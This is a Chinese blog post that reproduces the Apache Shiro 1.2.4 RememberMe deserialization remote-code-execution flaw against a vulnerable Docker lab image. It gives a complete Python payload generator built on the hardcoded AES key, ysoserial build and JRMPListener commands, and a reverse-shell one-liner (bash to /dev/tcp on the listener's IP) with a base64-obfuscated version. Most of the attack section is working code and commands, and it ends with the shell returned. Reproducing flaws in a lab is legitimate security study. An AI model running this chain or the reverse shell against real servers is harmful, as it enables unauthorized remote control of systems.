博客列表 >Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

小胖
小胖原创
2020年04月15日 13:51:021402浏览

影响版本

Apache Shiro <= 1.2.4

产生原因

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值—>Base64解码—>AES解密—>反序列化。 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

shiro.py

  1. import sys
  2. import uuid
  3. import base64
  4. import subprocess
  5. from Crypto.Cipher import AES
  6. def encode_rememberme(command):
  7. popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
  8. BS = AES.block_size
  9. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  10. key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  11. iv = uuid.uuid4().bytes
  12. encryptor = AES.new(key, AES.MODE_CBC, iv)
  13. file_body = pad(popen.stdout.read())
  14. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  15. return base64_ciphertext
  16. if __name__ == '__main__':
  17. payload = encode_rememberme(sys.argv[1])
  18. print "rememberMe={0}".format(payload.decode())
  1. pip install pycrypto

生成ysoserial.jar包 需要安装java SDK 我使用的是8 jdk jre添加环境变量

接着安装apache-maven-3.6.2(自行百度) 添加maven环境变量

  1. git clone https://github.com/frohoff/ysoserial.git
  2. cd ysoserial
  3. mvn package -DskipTests
  4. cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

最后生成的jar包会在ysoserial中的target中 使用带all的那个jar包

这样我们就准备好工具

接下来准备一个kali linux虚拟机与centos虚拟机 当然也可以两个都是centos 看自己使用习惯

在centos中安装docker 当做靶机 kali Linux nc监听 以及JRMP监听

centos 中拉取镜像

  1. docker pull medicean/vulapps:s_shiro_1

启动镜像

  1. [root@localhost ~]# docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
  2. 22c2b0db37c3681589a0344ad3993945aaf056b0c0d95e028b121c6dc9cdce23
  3. [root@localhost ~]#

访问web 环境(http://192.168.10.93:8081/login.jsp

启动brup抓包 登陆抓包 记得勾选 Remember Me

测试

首先使用py脚本生成payload

  1. root@xiaopang:~/tools/shiro# python shiro.py 192.168.10.40:3829
  2. rememberMe=IGuKQrBkRmKOUhBilssIDF4oSp5mJk9IX10QzWSDVKAk4PoroxM4kGwge8INSwsVkxYj4k7NFhECBP+CxBY2eqi4Rz95Wg8IXtJLcOJTkLjmHnrM0FMOBXoGLfP5jmvdbB7YQYckxTwRSlkqthD99n72bcDdqMjq2asNAYnRASLbVL0qhlWfHNg6Oh9vZa5EF8t80DGuYtDdJRzPIw7UlNIN7pHv2ScfHXij5Avy1y8YRLaQRhvk4dyHQFrcM8W8/tAFnHIlqc5hzDlsiNSa13yshu55ufOCZsO9h4IFYBmECRI/Gw+BypCyqvj7w3E4+AexmVqcfvBSa0kwrX0y2d4Ri0jTSapPJ4ZIuUiWlOc8WTbN5/qL+hQxHymUJpIt1HLsLLA7yVvkBFVsyo68mQ==

注意这里的ip填写自己的监听ip 这里的端口写的是JRMP监听端口

启动nc监听

  1. root@xiaopang:~# nc -lvp 4445
  2. listening on [any] 4445 ...

生成JRMP监听与反弹shell命令 需要用到这个http://www.jackson-t.ca/runtime-exec-payloads.html

  1. java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3829 CommonsCollections4 "这里写想执行的代码,我们这里写反弹shell命令"

这里的3829端口填写生成payload时写的端口

  1. bash -i >& /dev/tcp/192.168.10.40/4445 0>&1

ip填写自己的nc监听的机子的ip 端口填写nc监听端口最后生成BASE64

  1. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQwLzQ0NDUgMD4mMQ==}|{base64,-d}|{bash,-i}

最后生成语句

  1. java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3829 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQwLzQ0NDUgMD4mMQ==}|{base64,-d}|{bash,-i}"

发送payload

shell已成功弹回

声明:本文内容转载自脚本之家,由网友自发贡献,版权归原作者所有,如您发现涉嫌抄袭侵权,请联系admin@php.cn 核实处理。
全部评论
文明上网理性发言,请遵守新闻评论服务协议